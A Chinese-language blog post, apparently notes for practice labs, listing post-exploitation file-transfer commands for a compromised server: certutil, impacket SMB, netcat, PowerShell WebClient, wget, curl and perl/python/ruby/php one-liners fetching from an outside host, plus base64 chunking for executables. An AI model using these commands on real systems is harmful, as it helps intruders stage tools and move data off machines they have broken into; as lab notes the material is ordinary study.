banner
lca

lca

真正的不自由,是在自己的心中设下牢笼。

後滲透之檔案傳輸及下載

拿到了伺服器之後,就需要上傳工具,或者從伺服器下載檔案,針對不同的場景(網路環境)可能需要用到不同的檔案下載工具,平常打靶場也能用得到,這裡就簡單記錄下。

  • windows
certutil -urlcache -split -f "http://<LHOST>/<FILE>" <FILE>

image

  • impacket

使用 impacket-smbserver 工具創建一個 SMB 伺服器。

sudo impacket-smbserver <SHARE> ./

預設 SMB1 協議報錯

image

sudo impacket-smbserver <SHARE> . -smb2support

-smb2support 選項啟用了 SMB2 協議支持,這意味著允許使用 SMB2 協議的客戶端連接到共享。

SMB2 由於安全策略而阻止訪問

image

需要設定密碼

sudo impacket-smbserver SHARE ./ -smb2support -username lca -password abc+123

image

  • python
python -m http.server <port>
  • nc

vps 上

cat user.txt | nc -l 1234
nc -l 1234 < user.txt

靶機:

nc <vps_ip> 1234 > user.txt

注:連接建立後,經測試,需要 vps 上按 ctrl+c 後,靶機才能完全收到資料,不然一直會卡住。

  • powershell
$p = New-Object System.Net.WebClient;$p.DownloadFile("http://1.1.1.1:8000/user.txt","C:\Users\lca\Desktop\user.txt");

image

  • wget
wget http://1.1.1.1/user.txt -O C:\Users\lca\Desktop\user.txt
  • curl
curl http://1.1.1.1:8000/user.txt -o C:\Users\lca\Desktop\user.txt
  • perl
perl -e "use LWP::Simple; getstore('http://1.1.1.1/user.txt', '/tmp/user.txt');"

image

  • python
python -c "import urllib.request;urllib.request.urlretrieve('http://1.1.1.1/user.txt', '/tmp/user.txt')"

image

  • ruby
ruby -ropen-uri -e "open('/tmp/user3.txt', 'wb') { |file| file << URI.open('http://1.1.1.1:8000/user.txt').read }"

image

  • php
php -r "file_put_contents('/tmp/user4.txt', file_get_contents('http://1.1.1.1:8000/user.txt'));"

image

注:有些時候如果要下載 exe、jar 類型的檔案,可以先轉換成 base64 的格式,傳輸完成後,再將 base64 編碼的內容還原。如果有大小限制,還可以分塊傳輸。

#編碼
base64 -i xxx.jar > out.txt

#還原
base64 --decode -i out.txt -o 1.jar
載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。